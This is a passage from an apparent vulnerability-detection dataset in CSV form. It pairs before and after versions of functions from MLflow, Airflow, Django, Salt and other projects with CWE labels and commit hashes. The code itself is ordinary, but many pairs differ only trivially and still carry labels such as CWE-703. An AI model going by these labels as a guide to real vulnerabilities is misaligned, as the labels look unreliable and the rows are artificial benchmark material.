if MLFLOW_RUN_NOTE in tags:
raise MlflowException(
f""Description is already set via the tag {MLFLOW_RUN_NOTE} in tags.""
f""Remove the key {MLFLOW_RUN_NOTE} from the tags or omit the description."",
error_code=INVALID_PARAMETER_VALUE,
)
tags[MLFLOW_RUN_NOTE] = description
if tags:
client.log_batch(
run_id=existing_run_id,
tags=[RunTag(key, str(value)) for key, value in tags.items()],
)
active_run_obj = client.get_run(existing_run_id)
else:
if parent_run_id:
_validate_run_id(parent_run_id)
# Make sure parent_run_id matches the current run id, if there is an active run
if len(_active_run_stack) > 0 and parent_run_id != _active_run_stack[-1].info.run_id:
raise Exception(
(
""Current run with UUID {} does not match the specified parent_run_id {}""
+ "" To start a new nested run under the parent run with UUID {}, ""
+ ""first end the current run with mlflow.end_run().""
).format(_active_run_stack[-1].info.run_id, parent_run_id)
)
parent_run_obj = client.get_run(parent_run_id)
# Check if the specified parent_run has been deleted.
if parent_run_obj.info.lifecycle_stage == LifecycleStage.DELETED:
raise MlflowException(
f""Cannot start run under parent run with ID {parent_run_id} ""
f""because it is in the deleted state.""
)
else:
parent_run_id = (
_active_run_stack[-1].info.run_id if len(_active_run_stack) > 0 else None
)
exp_id_for_run = experiment_id if experiment_id is not None else _get_experiment_id()
user_specified_tags = deepcopy(tags) or {}
if description:
if MLFLOW_RUN_NOTE in user_specified_tags:
raise MlflowException(
f""Description is already set via the tag {MLFLOW_RUN_NOTE} in tags.""
f""Remove the key {MLFLOW_RUN_NOTE} from the tags or omit the description."",
error_code=INVALID_PARAMETER_VALUE,
)
user_specified_tags[MLFLOW_RUN_NOTE] = description
if parent_run_id is not None:
user_specified_tags[MLFLOW_PARENT_RUN_ID] = parent_run_id
if run_name:
user_specified_tags[MLFLOW_RUN_NAME] = run_name
resolved_tags = context_registry.resolve_tags(user_specified_tags)
active_run_obj = client.create_run(
experiment_id=exp_id_for_run,
tags=resolved_tags,
run_name=run_name,
)
if log_system_metrics is None:
# If `log_system_metrics` is not specified, we will check environment variable.
log_system_metrics = MLFLOW_ENABLE_SYSTEM_METRICS_LOGGING.get()
if log_system_metrics:
if importlib.util.find_spec(""psutil"") is None:
raise MlflowException(
""Failed to start system metrics monitoring as package `psutil` is not installed. ""
""Please run `pip install psutil` to resolve the issue, otherwise you can disable ""
""system metrics logging by passing `log_system_metrics=False` to ""
""`mlflow.start_run()` or calling `mlflow.disable_system_metrics_logging`.""
)
try:
from mlflow.system_metrics.system_metrics_monitor import SystemMetricsMonitor
system_monitor = SystemMetricsMonitor(
active_run_obj.info.run_id,
resume_logging=existing_run_id is not None,
)
global run_id_to_system_metrics_monitor
run_id_to_system_metrics_monitor[active_run_obj.info.run_id] = system_monitor
system_monitor.start()
except Exception as e:
_logger.error(f""Failed to start system metrics monitoring: {e}."")
_active_run_stack.append(ActiveRun(active_run_obj))
return _active_run_stack[-1]"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/cli/commands/remote_commands/config_command.py,0,"def lint_config(args) -> None:
""""""
Lint the airflow.cfg file for removed, or renamed configurations.
This function scans the Airflow configuration file for parameters that are removed or renamed in
Airflow 3.0. It provides suggestions for alternative parameters or settings where applicable.
CLI Arguments:
--section: str (optional)
The specific section of the configuration to lint.
Example: --section core
--option: str (optional)
The specific option within a section to lint.
Example: --option check_slas
--ignore-section: str (optional)
A section to ignore during linting.
Example: --ignore-section webserver
--ignore-option: str (optional)
An option to ignore during linting.
Example: --ignore-option smtp_user
--verbose: flag (optional)
Enables detailed output, including the list of ignored sections and options.
Example: --verbose
Examples:
1. Lint all sections and options:
airflow config lint
2. Lint a specific sections:
airflow config lint --section core,webserver
3. Lint a specific sections and options:
airflow config lint --section smtp --option smtp_user
4. Ignore a sections:
irflow config lint --ignore-section webserver,api
5. Ignore an options:
airflow config lint --ignore-option smtp_user,session_lifetime_days
6. Enable verbose output:
airflow config lint --verbose
:param args: The CLI arguments for linting configurations.
""""""
console = AirflowConsole()
lint_issues = []
section_to_check_if_provided = args.section or []
option_to_check_if_provided = args.option or []
ignore_sections = args.ignore_section or []
ignore_options = args.ignore_option or []
for configuration in CONFIGS_CHANGES:
if section_to_check_if_provided and configuration.config.section not in section_to_check_if_provided:
continue
if option_to_check_if_provided and configuration.config.option not in option_to_check_if_provided:
continue
if configuration.config.section in ignore_sections or configuration.config.option in ignore_options:
continue
if conf.has_option(
configuration.config.section, configuration.config.option, lookup_from_deprecated_options=False
):
lint_issues.append(configuration.message)
if lint_issues:
console.print(""[red]Found issues in your airflow.cfg:[/red]"")
for issue in lint_issues:
console.print(f"" - [yellow]{issue}[/yellow]"")
if args.verbose:
console.print(""\n[blue]Detailed Information:[/blue]"")
console.print(f""Ignored sections: [green]{', '.join(ignore_sections)}[/green]"")
console.print(f""Ignored options: [green]{', '.join(ignore_options)}[/green]"")
console.print(""\n[red]Please update your configuration file accordingly.[/red]"")
else:
console.print(""[green]No issues found in your airflow.cfg. It is ready for Airflow 3![/green]"")",CWE-Unknown,apache/airflow,971973725bd368297fda8dbe096ed6b199440ad0,"def lint_config(args) -> None:
""""""
Lint the airflow.cfg file for removed, or renamed configurations.
This function scans the Airflow configuration file for parameters that are removed or renamed in
Airflow 3.0. It provides suggestions for alternative parameters or settings where applicable.
CLI Arguments:
--section: str (optional)
The specific section of the configuration to lint.
Example: --section core
--option: str (optional)
The specific option within a section to lint.
Example: --option check_slas
--ignore-section: str (optional)
A section to ignore during linting.
Example: --ignore-section webserver
--ignore-option: str (optional)
An option to ignore during linting.
Example: --ignore-option smtp_user
--verbose: flag (optional)
Enables detailed output, including the list of ignored sections and options.
Example: --verbose
Examples:
1. Lint all sections and options:
airflow config lint
2. Lint a specific sections:
airflow config lint --section core,webserver
3. Lint a specific sections and options:
airflow config lint --section smtp --option smtp_user
4. Ignore a sections:
irflow config lint --ignore-section webserver,api
5. Ignore an options:
airflow config lint --ignore-option smtp_user,session_lifetime_days
6. Enable verbose output:
airflow config lint --verbose
:param args: The CLI arguments for linting configurations.
""""""
console = AirflowConsole()
lint_issues = []
section_to_check_if_provided = args.section or []
option_to_check_if_provided = args.option or []
ignore_sections = args.ignore_section or []
ignore_options = args.ignore_option or []
for configuration in CONFIGS_CHANGES:
if section_to_check_if_provided and configuration.config.section not in section_to_check_if_provided:
continue
if option_to_check_if_provided and configuration.config.option not in option_to_check_if_provided:
continue
if configuration.config.section in ignore_sections or configuration.config.option in ignore_options:
continue
if conf.has_option(configuration.config.section, configuration.config.option):
lint_issues.append(configuration.message)
if lint_issues:
console.print(""[red]Found issues in your airflow.cfg:[/red]"")
for issue in lint_issues:
console.print(f"" - [yellow]{issue}[/yellow]"")
if args.verbose:
console.print(""\n[blue]Detailed Information:[/blue]"")
console.print(f""Ignored sections: [green]{', '.join(ignore_sections)}[/green]"")
console.print(f""Ignored options: [green]{', '.join(ignore_options)}[/green]"")
console.print(""\n[red]Please update your configuration file accordingly.[/red]"")
else:
console.print(""[green]No issues found in your airflow.cfg. It is ready for Airflow 3![/green]"")"
,UNKNOWN,UNKNOWN,tests/providers/hashicorp/hooks/test_vault.py,1,"def test_protocol(self, protocol, expected_url, mock_hvac, mock_get_connection):
mock_client = mock.MagicMock()
mock_hvac.Client.return_value = mock_client
mock_connection = self.get_mock_connection(conn_type=protocol)
mock_get_connection.return_value = mock_connection
connection_dict = {}
mock_connection.extra_dejson.get.side_effect = connection_dict.get
kwargs = {
""vault_conn_id"": ""vault_conn_id"",
""auth_type"": ""approle"",
""role_id"": ""role"",
""kv_engine_version"": 2,
}
test_hook = VaultHook(**kwargs)
mock_get_connection.assert_called_with(""vault_conn_id"")
test_client = test_hook.get_conn()
mock_hvac.Client.assert_called_with(url=expected_url)
test_client.auth.approle.login.assert_called_with(role_id=""role"", secret_id=""pass"")
test_client.is_authenticated.assert_called_with()
assert 2 == test_hook.vault_client.kv_engine_version",CWE-703,apache/airflow,b74f796c833283c820c81b20df1ba9f9cfa485c3,"def test_protocol(self, protocol, expected_url, mock_hvac, mock_get_connection):
mock_client = mock.MagicMock()
mock_hvac.Client.return_value = mock_client
mock_connection = self.get_mock_connection(conn_type=protocol)
mock_get_connection.return_value = mock_connection
connection_dict = {}
mock_connection.extra_dejson.get.side_effect = connection_dict.get
kwargs = {
""vault_conn_id"": ""vault_conn_id"",
""auth_type"": ""approle"",
""role_id"": ""role"",
""kv_engine_version"": 2,
}
test_hook = VaultHook(**kwargs)
mock_get_connection.assert_called_with(""vault_conn_id"")
test_client = test_hook.get_conn()
mock_hvac.Client.assert_called_with(url=expected_url)
test_client.auth_approle.assert_called_with(role_id=""role"", secret_id=""pass"")
test_client.is_authenticated.assert_called_with()
assert 2 == test_hook.vault_client.kv_engine_version"
,UNKNOWN,UNKNOWN,tests/model_regress/test_pickle.py,1,"def test_unpickling_when_appregistrynotready(self):
""""""
#24007 -- Verifies that a pickled model can be unpickled without having
to manually setup the apps registry beforehand.
""""""
script_template = """"""#!/usr/bin/env python
import pickle
from django.conf import settings
data = %r
settings.configure(DEBUG=False, INSTALLED_APPS=['model_regress'], SECRET_KEY = ""blah"")
article = pickle.loads(data)
print(article.headline)""""""
a = Article.objects.create(
headline=""Some object"",
pub_date=datetime.datetime.now(),
article_text=""This is an article"",
)
with NamedTemporaryFile(mode='w+', suffix="".py"", dir='.') as script:
script.write(script_template % pickle.dumps(a))
script.flush()
env = {
# Needed to run test outside of tests directory
str('PYTHONPATH'): os.pathsep.join(sys.path),
# Needed on Windows because http://bugs.python.org/issue8557
str('PATH'): os.environ['PATH'],
str('LANG'): os.environ.get('LANG', ''),
}
if 'SYSTEMROOT' in os.environ: # Windows http://bugs.python.org/issue20614
env[str('SYSTEMROOT')] = os.environ['SYSTEMROOT']
try:
result = subprocess.check_output([sys.executable, script.name], env=env)
except subprocess.CalledProcessError:
self.fail(""Unable to reload model pickled data"")
self.assertEqual(result.strip().decode(), ""Some object"")",CWE-502,django/django,ad50b6c853f4a6c864219fbd38b4254ffaef7b1c,"def test_unpickling_when_appregistrynotready(self):
""""""
#24007 -- Verifies that a pickled model can be unpickled without having
to manually setup the apps registry beforehand.
""""""
script_template = """"""#!/usr/bin/env python
import pickle
from django.conf import settings
data = %r
settings.configure(DEBUG=False, INSTALLED_APPS=['model_regress'], SECRET_KEY = ""blah"")
article = pickle.loads(data)
print(article.headline)""""""
a = Article.objects.create(
headline=""Some object"",
pub_date=datetime.datetime.now(),
article_text=""This is an article"",
)
with NamedTemporaryFile(mode='w+', suffix="".py"", dir='.') as script:
script.write(script_template % pickle.dumps(a))
script.flush()
env = {
# Needed to run test outside of tests directory
str('PYTHONPATH'): os.pathsep.join(sys.path),
# Needed on Windows because http://bugs.python.org/issue8557
str('PATH'): os.environ['PATH'],
str('LANG'): os.environ.get('LANG'),
}
if 'SYSTEMROOT' in os.environ: # Windows http://bugs.python.org/issue20614
env[str('SYSTEMROOT')] = os.environ['SYSTEMROOT']
try:
result = subprocess.check_output([sys.executable, script.name], env=env)
except subprocess.CalledProcessError:
self.fail(""Unable to reload model pickled data"")
self.assertEqual(result.strip().decode(), ""Some object"")"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_connections.py,1,"def test_should_respond_200(
self, test_client, session, query_params, expected_total_entries, expected_ids
):
self.create_connections()
response = test_client.get(""/public/connections"", params=query_params)
assert response.status_code == 200
body = response.json()
assert body[""total_entries""] == expected_total_entries
assert [connection[""connection_id""] for connection in body[""connections""]] == expected_ids",CWE-703,apache/airflow,cba9f7a22ecae0fc65e2d6726e2e0ca9d02de168,"def test_should_respond_200(
self, test_client, session, query_params, expected_total_entries, expected_ids
):
self.create_connections()
response = test_client.get(""/public/connections/"", params=query_params)
assert response.status_code == 200
body = response.json()
assert body[""total_entries""] == expected_total_entries
assert [connection[""connection_id""] for connection in body[""connections""]] == expected_ids"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/http.py,0,"def query(url, **kwargs):
'''
.. versionadded:: 2015.5.0
Query a resource, and decode the return data
Passes through all the parameters described in the
:py:func:`utils.http.query function `:
.. autofunction:: salt.utils.http.query
raise_error : True
If ``False``, and if a connection cannot be made, the error will be
suppressed and the body of the return will simply be ``None``.
CLI Example:
.. code-block:: bash
salt '*' http.query http://somelink.com/
salt '*' http.query http://somelink.com/ method=POST \
params='key1=val1&key2=val2'
salt '*' http.query http://somelink.com/ method=POST \
data='somecontent'
'''
opts = __opts__.copy()
if 'opts' in kwargs:
opts.update(kwargs['opts'])
del kwargs['opts']
try:
return salt.utils.http.query(url=url, opts=opts, **kwargs)
except Exception as exc: # pylint: disable=broad-except
raise CommandExecutionError(six.text_type(exc))",,saltstack/salt,3ad69c8fabe76e45426950c99b6e43b28340f2f9,"def query(url, **kwargs):
'''
.. versionadded:: 2015.5.0
Query a resource, and decode the return data
Passes through all the parameters described in the
:py:func:`utils.http.query function `:
.. autofunction:: salt.utils.http.query
raise_error : True
If ``False``, and if a connection cannot be made, the error will be
suppressed and the body of the return will simply be ``None``.
CLI Example:
.. code-block:: bash
salt '*' http.query http://somelink.com/
salt '*' http.query http://somelink.com/ method=POST \
params='key1=val1&key2=val2'
salt '*' http.query http://somelink.com/ method=POST \
data='somecontent'
'''
opts = __opts__.copy()
if 'opts' in kwargs:
opts.update(kwargs['opts'])
del kwargs['opts']
try:
return salt.utils.http.query(url=url, opts=opts, **kwargs)
except Exception as exc:
raise CommandExecutionError(six.text_type(exc))"
,UNKNOWN,UNKNOWN,tests/decorators/test_setup_teardown.py,1,"def test_marking_decorated_functions_as_setup_task(self, dag_maker):
@setup
@task
def mytask():
print(""I am a setup task"")
with dag_maker() as dag:
mytask()
assert len(dag.task_group.children) == 1
setup_task = dag.task_group.children[""mytask""]
assert setup_task._is_setup",CWE-703,apache/airflow,3720689e38276d47ab9fe764c5c034c35dcaaf01,"def test_marking_decorated_functions_as_setup_task(self, dag_maker):
@setup
@task
def mytask():
print(""I am a setup task"")
with dag_maker() as dag:
mytask()
assert len(dag.task_group.children) == 1
setup_task = dag.task_group.children[""mytask""]
assert setup_task._is_setup"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/data/search_engines/pks.py,0,"def search(self, hostname):
'''
Searches a PKS server, and returns all emails related to hostname.
@param hostname: The hostname from which we want to get emails from.
'''
if hostname.count('//'):
msg = 'You must provide the PKS search engine with a root domain'\
' name (as returned by URL.get_root_domain).'
raise w3afException(msg)
res = self.met_search(hostname)
msg = 'PKS search for hostname: ""%s"" returned %s results.'
om.out.debug(msg % (hostname, len(res)))
return res",,andresriancho/w3af,5ea23ef41574a40fe2241377fd74ca4ce76ee709,"def search(self, hostname):
'''
Searches a PKS server, and returns all emails related to hostname.
@param hostname: The hostname from which we want to get emails from.
'''
if hostname.count('//'):
msg = 'You must provide the PKS search engine with a root domain'
msg += ' name (as returned by URL.get_root_domain).'
raise w3afException(msg)
res = self.met_search(hostname)
msg = 'PKS search for hostname: ""%s"" returned %s results.'
om.out.debug(msg % (hostname, len(res)))
return res"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,setup.py,0,"def do_setup():
write_version()
setup(
name='apache-airflow',
description='Programmatically author, schedule and monitor data pipelines',
long_description=long_description,
long_description_content_type='text/markdown',
license='Apache License 2.0',
version=version,
packages=find_packages(exclude=['tests*']),
package_data={'': ['airflow/alembic.ini', ""airflow/git_version""]},
include_package_data=True,
zip_safe=False,
scripts=['airflow/bin/airflow'],
install_requires=[
'alembic>=0.9, <1.0',
'bleach~=2.1.3',
'configparser>=3.5.0, <3.6.0',
'croniter>=0.3.17, <0.4',
'dill>=0.2.2, <0.3',
'enum34~=1.1.6;python_version<""3.4""',
'flask>=1.0, <2.0',
'flask-appbuilder==1.12.3',
'flask-caching>=1.3.3, <1.4.0',
'flask-login>=0.3, <0.5',
'flask-swagger==0.2.13',
'flask-wtf>=0.14.2, <0.15',
'funcsigs==1.0.0',
'future>=0.16.0, <0.17',
'gitpython>=2.0.2',
'gunicorn>=19.5.0, <20.0',
'iso8601>=0.1.12',
'json-merge-patch==0.2',
'jinja2>=2.7.3, <=2.10.0',
'markdown>=2.5.2, <3.0',
'pandas>=0.17.1, <1.0.0',
'pendulum==1.4.4',
'psutil>=4.2.0, <6.0.0',
'pygments>=2.0.1, <3.0',
'python-daemon>=2.1.1, <2.2',
'python-dateutil>=2.3, <3',
'requests>=2.20.0, <3',
'setproctitle>=1.1.8, <2',
'sqlalchemy>=1.1.15, <1.3.0',
'tabulate>=0.7.5, <=0.8.2',
'tenacity==4.12.0',
'text-unidecode==1.2',
'thrift>=0.9.2',
'tzlocal>=1.4',
'unicodecsv>=0.14.1',
'werkzeug>=0.14.1, <0.15.0',
'zope.deprecation>=4.0, <5.0',
],
setup_requires=[
'docutils>=0.14, <1.0',
],
extras_require={
'all': devel_all,
'devel_ci': devel_ci,
'all_dbs': all_dbs,
'atlas': atlas,
'async': async_packages,
'aws': aws,
'azure': azure,
'cassandra': cassandra,
'celery': celery,
'cgroups': cgroups,
'cloudant': cloudant,
'crypto': crypto,
'dask': dask,
'databricks': databricks,
'datadog': datadog,
'devel': devel_minreq,
'devel_hadoop': devel_hadoop,
'doc': doc,
'docker': docker,
'druid': druid,
'elasticsearch': elasticsearch,
'gcp': gcp,
'gcp_api': gcp, # TODO: remove this in Airflow 2.1
'github_enterprise': github_enterprise,
'google_auth': google_auth,
'hdfs': hdfs,
'hive': hive,
'jdbc': jdbc,
'jira': jira,
'kerberos': kerberos,
'kubernetes': kubernetes,
'ldap': ldap,
'mongo': mongo,
'mssql': mssql,
'mysql': mysql,
'oracle': oracle,
'password': password,
'pinot': pinot,
'postgres': postgres,
'qds': qds,
'rabbitmq': rabbitmq,
'redis': redis,
'salesforce': salesforce,
'samba': samba,
'sendgrid': sendgrid,
'segment': segment,
'slack': slack,
'snowflake': snowflake,
'ssh': ssh,
'statsd': statsd,
'vertica': vertica,
'webhdfs': webhdfs,
'winrm': winrm
},
classifiers=[
'Development Status :: 5 - Production/Stable',
'Environment :: Console',
'Environment :: Web Environment',
'Intended Audience :: Developers',
'Intended Audience :: System Administrators',
'License :: OSI Approved :: Apache Software License',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3.5',
'Topic :: System :: Monitoring',
],
author='Apache Software Foundation',
author_email='dev@airflow.apache.org',
url='http://airflow.apache.org/',
download_url=(
'https://dist.apache.org/repos/dist/release/airflow/' + version),
cmdclass={
'test': Tox,
'extra_clean': CleanCommand,
'compile_assets': CompileAssets
},
python_requires='>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*',
)",CWE-Unknown,apache/airflow,71140dd2dfb63f16254420b8ba3a4a62b5919f45,"def do_setup():
write_version()
setup(
name='apache-airflow',
description='Programmatically author, schedule and monitor data pipelines',
long_description=long_description,
long_description_content_type='text/markdown',
license='Apache License 2.0',
version=version,
packages=find_packages(exclude=['tests*']),
package_data={'': ['airflow/alembic.ini', ""airflow/git_version""]},
include_package_data=True,
zip_safe=False,
scripts=['airflow/bin/airflow'],
install_requires=[
'alembic>=0.9, <1.0',
'bleach~=2.1.3',
'configparser>=3.5.0, <3.6.0',
'croniter>=0.3.17, <0.4',
'dill>=0.2.2, <0.3',
'enum34~=1.1.6;python_version<""3.4""',
'flask>=1.0, <2.0',
'flask-appbuilder==1.12.3',
'flask-caching>=1.3.3, <1.4.0',
'flask-login>=0.3, <0.5',
'flask-swagger==0.2.13',
'flask-wtf>=0.14.2, <0.15',
'funcsigs==1.0.0',
'future>=0.16.0, <0.17',
'gitpython>=2.0.2',
'gunicorn>=19.4.0, <20.0',
'iso8601>=0.1.12',
'json-merge-patch==0.2',
'jinja2>=2.7.3, <=2.10.0',
'markdown>=2.5.2, <3.0',
'pandas>=0.17.1, <1.0.0',
'pendulum==1.4.4',
'psutil>=4.2.0, <6.0.0',
'pygments>=2.0.1, <3.0',
'python-daemon>=2.1.1, <2.2',
'python-dateutil>=2.3, <3',
'requests>=2.20.0, <3',
'setproctitle>=1.1.8, <2',
'sqlalchemy>=1.1.15, <1.3.0',
'tabulate>=0.7.5, <=0.8.2',
'tenacity==4.12.0',
'text-unidecode==1.2',
'thrift>=0.9.2',
'tzlocal>=1.4',
'unicodecsv>=0.14.1',
'werkzeug>=0.14.1, <0.15.0',
'zope.deprecation>=4.0, <5.0',
],
setup_requires=[
'docutils>=0.14, <1.0',
],
extras_require={
'all': devel_all,
'devel_ci': devel_ci,
'all_dbs': all_dbs,
'atlas': atlas,
'async': async_packages,
'aws': aws,
'azure': azure,
'cassandra': cassandra,
'celery': celery,
'cgroups': cgroups,
'cloudant': cloudant,
'crypto': crypto,
'dask': dask,
'databricks': databricks,
'datadog': datadog,
'devel': devel_minreq,
'devel_hadoop': devel_hadoop,
'doc': doc,
'docker': docker,
'druid': druid,
'elasticsearch': elasticsearch,
'gcp': gcp,
'gcp_api': gcp, # TODO: remove this in Airflow 2.1
'github_enterprise': github_enterprise,
'google_auth': google_auth,
'hdfs': hdfs,
'hive': hive,
'jdbc': jdbc,
'jira': jira,
'kerberos': kerberos,
'kubernetes': kubernetes,
'ldap': ldap,
'mongo': mongo,
'mssql': mssql,
'mysql': mysql,
'oracle': oracle,
'password': password,
'pinot': pinot,
'postgres': postgres,
'qds': qds,
'rabbitmq': rabbitmq,
'redis': redis,
'salesforce': salesforce,
'samba': samba,
'sendgrid': sendgrid,
'segment': segment,
'slack': slack,
'snowflake': snowflake,
'ssh': ssh,
'statsd': statsd,
'vertica': vertica,
'webhdfs': webhdfs,
'winrm': winrm
},
classifiers=[
'Development Status :: 5 - Production/Stable',
'Environment :: Console',
'Environment :: Web Environment',
'Intended Audience :: Developers',
'Intended Audience :: System Administrators',
'License :: OSI Approved :: Apache Software License',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3.5',
'Topic :: System :: Monitoring',
],
author='Apache Software Foundation',
author_email='dev@airflow.apache.org',
url='http://airflow.apache.org/',
download_url=(
'https://dist.apache.org/repos/dist/release/airflow/' + version),
cmdclass={
'test': Tox,
'extra_clean': CleanCommand,
'compile_assets': CompileAssets
},
python_requires='>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*',
)"
,UNKNOWN,UNKNOWN,tests/integration/client/standard.py,1,"def test_cli(self):
'''
Test cli function
'''
cmd_iter = self.client.cmd_cli(
'minion',
'test.ping',
)
for ret in cmd_iter:
self.assertTrue(ret['minion'])
# make sure that the iter waits for long running jobs too
cmd_iter = self.client.cmd_cli(
'minion',
'test.sleep',
[6]
)
num_ret = 0
for ret in cmd_iter:
num_ret += 1
self.assertTrue(ret['minion'])
assert num_ret > 0
# ping a minion that doesn't exist, to make sure that it doesn't hang forever
# create fake minion
key_file = os.path.join(self.master_opts['pki_dir'], 'minions', 'footest')
# touch the file
with salt.utils.fopen(key_file, 'a'):
pass
# ping that minion and ensure it times out
try:
cmd_iter = self.client.cmd_cli(
'footest',
'test.ping',
)
num_ret = 0
for ret in cmd_iter:
num_ret += 1
self.assertTrue(ret['minion'])
assert num_ret == 0
finally:
os.unlink(key_file)",CWE-703,saltstack/salt,a375dd7e1fd42fe9dfa110c143cdd9fed077e3f8,"def test_cli(self):
'''
Test cli function
'''
cmd_iter = self.client.cmd_cli(
'minion',
'test.ping',
)
for ret in cmd_iter:
self.assertTrue(ret['minion'])
# make sure that the iter waits for long running jobs too
cmd_iter = self.client.cmd_cli(
'minion',
'test.sleep',
[6]
)
num_ret = 0
for ret in cmd_iter:
num_ret += 1
self.assertTrue(ret['minion'])
assert num_ret > 0
# ping a minion that doesn't exist, to make sure that it doesn't hang forever
# create fake minion
key_file = os.path.join(self.master_opts['pki_dir'], 'minions', 'footest')
# touch the file
salt.utils.fopen(key_file, 'a').close()
# ping that minion and ensure it times out
try:
cmd_iter = self.client.cmd_cli(
'footest',
'test.ping',
)
num_ret = 0
for ret in cmd_iter:
num_ret += 1
self.assertTrue(ret['minion'])
assert num_ret == 0
finally:
os.unlink(key_file)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/services/notebooks/handlers.py,0,"def delete(self, notebook_path):
nbm = self.notebook_manager
name, path = nbm.named_notebook_path(notebook_path)
nbm.delete_notebook(name, path)
self.set_status(204)
self.finish()",,jupyter/notebook,11cef9ab45e0231214a81574362dd58b016a6ee4,"def delete(self, notebook_path):
nbm = self.notebook_manager
name, path = nbm.named_notebook_path(notebook_path)
self.notebook_manager.delete_notebook(name, path)
self.set_status(204)
self.finish()"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/mac/trustedbsd.py,0,"def calculate(self):
common.set_plugin_members(self)
# get all the members of 'mac_policy_ops' so that we can check them (they are all function ptrs)
ops_members = self.get_members()
# get the symbols need to check for if rootkit or not
(kernel_symbol_addresses, kmods) = common.get_kernel_addrs(self)
list_addr = self.addr_space.profile.get_symbol(""_mac_policy_list"")
plist = obj.Object(""mac_policy_list"", offset = list_addr, vm = self.addr_space)
parray = obj.Object('Array', offset = plist.entries, vm = self.addr_space, targetType = 'mac_policy_list_element', count = plist.maxindex + 1)
for ent in parray:
# I don't know how this can happen, but the kernel makes this check all over the place
# the policy is useful without any ops so a rootkit can't abuse this
if ent.mpc == None:
continue
name = ent.mpc.mpc_name.dereference()
ops = obj.Object(""mac_policy_ops"", offset = ent.mpc.mpc_ops, vm = self.addr_space)
# walk each member of the struct
for check in ops_members:
ptr = ops.__getattr__(check)
if ptr != 0:
good = common.is_known_address(ptr, kernel_symbol_addresses, kmods)
yield (good, check, name, ptr)",,volatilityfoundation/volatility,89eb86ea971b9e1e160a0b26c39b7913a90aa7ea,"def calculate(self):
common.set_plugin_members(self)
# get all the members of 'mac_policy_ops' so that we can check them (they are all function ptrs)
ops_members = self.get_members()
# get the symbols need to check for if rootkit or not
(kernel_symbol_addresses, kmods) = common.get_kernel_addrs(self)
list_addr = self.addr_space.profile.get_symbol(""_mac_policy_list"")
plist = obj.Object(""mac_policy_list"", offset = list_addr, vm = self.addr_space)
parray = obj.Object('Array', offset = plist.entries, vm = self.addr_space, targetType = 'mac_policy_list_element', count = plist.maxindex + 1)
for ent in parray:
# I don't know how this can happen, but the kernel makes this check all over the place
# the policy is useful without any ops so a rootkit can't abuse this
if ent.mpc == None:
continue
name = ent.mpc.mpc_name.dereference()
ops = obj.Object(""mac_policy_ops"", offset = ent.mpc.mpc_ops, vm = self.addr_space)
# walk each member of the struct
for check in ops_members:
ptr = ops.__getattr__(check)
if ptr != 0:
# make the last parameter 1 to see the names of known modules that load policies
good = common.is_known_address(ptr, kernel_symbol_addresses, kmods, 0)
yield (good, check, name, ptr)"
,UNKNOWN,UNKNOWN,salt/utils/thin.py,1,"def gen_thin(cachedir, extra_mods='', overwrite=False, so_mods=''):
'''
Generate the salt-thin tarball and print the location of the tarball
Optional additional mods to include (e.g. mako) can be supplied as a comma
delimited string. Permits forcing an overwrite of the output file as well.
CLI Example:
.. code-block:: bash
salt-run thin.generate
salt-run thin.generate mako
salt-run thin.generate mako,wempy 1
salt-run thin.generate overwrite=1
'''
thindir = os.path.join(cachedir, 'thin')
if not os.path.isdir(thindir):
os.makedirs(thindir)
thintar = os.path.join(thindir, 'thin.tgz')
thinver = os.path.join(thindir, 'version')
salt_call = os.path.join(thindir, 'salt-call')
with salt.utils.fopen(salt_call, 'w+') as fp_:
fp_.write(SALTCALL)
if os.path.isfile(thintar):
with salt.utils.fopen(thinver) as fh_:
if overwrite or not os.path.isfile(thinver):
try:
os.remove(thintar)
except OSError:
pass
elif fh_.read() == salt.__version__:
return thintar
tops = [
os.path.dirname(salt.__file__),
os.path.dirname(jinja2.__file__),
os.path.dirname(yaml.__file__),
os.path.dirname(requests.__file__)
]
if HAS_URLLIB3:
tops.append(os.path.dirname(urllib3.__file__))
if HAS_SIX:
tops.append(six.__file__.replace('.pyc', '.py'))
if HAS_CHARDET:
tops.append(os.path.dirname(chardet.__file__))
if HAS_CERTIFI:
tops.append(os.path.dirname(certifi.__file__))
if HAS_SSL_MATCH_HOSTNAME:
tops.append(os.path.dirname(os.path.dirname(ssl_match_hostname.__file__)))
for mod in [m for m in extra_mods.split(',') if m]:
if mod not in locals() and mod not in globals():
try:
locals()[mod] = __import__(mod)
moddir, modname = os.path.split(locals()[mod].__file__)
base, ext = os.path.splitext(modname)
if base == '__init__':
tops.append(moddir)
else:
tops.append(os.path.join(moddir, base + '.py'))
except ImportError:
# Not entirely sure this is the right thing, but the only
# options seem to be 1) fail, 2) spew errors, or 3) pass.
# Nothing else in here spits errors, and the markupsafe code
# doesn't bail on import failure, so I followed that lead.
# And of course, any other failure still S/T's.
pass
for mod in [m for m in so_mods.split(',') if m]:
try:
locals()[mod] = __import__(mod)
tops.append(locals()[mod].__file__)
except ImportError:
pass # As per comment above
if HAS_MARKUPSAFE:
tops.append(os.path.dirname(markupsafe.__file__))
tfp = tarfile.open(thintar, 'w:gz', dereference=True)
start_dir = os.getcwd()
tempdir = None
for top in tops:
base = os.path.basename(top)
top_dirname = os.path.dirname(top)
if os.path.isdir(top_dirname):
os.chdir(top_dirname)
else:
# This is likely a compressed python .egg
tempdir = tempfile.mkdtemp()
egg = zipfile.ZipFile(top_dirname)
egg.extractall(tempdir)
top = os.path.join(tempdir, base)
os.chdir(tempdir)
if not os.path.isdir(top):
# top is a single file module
tfp.add(base)
continue
for root, dirs, files in os.walk(base, followlinks=True):
for name in files:
if not name.endswith(('.pyc', '.pyo')):
tfp.add(os.path.join(root, name))
if tempdir is not None:
shutil.rmtree(tempdir)
tempdir = None
os.chdir(thindir)
tfp.add('salt-call')
with salt.utils.fopen(thinver, 'w+') as fp_:
fp_.write(salt.__version__)
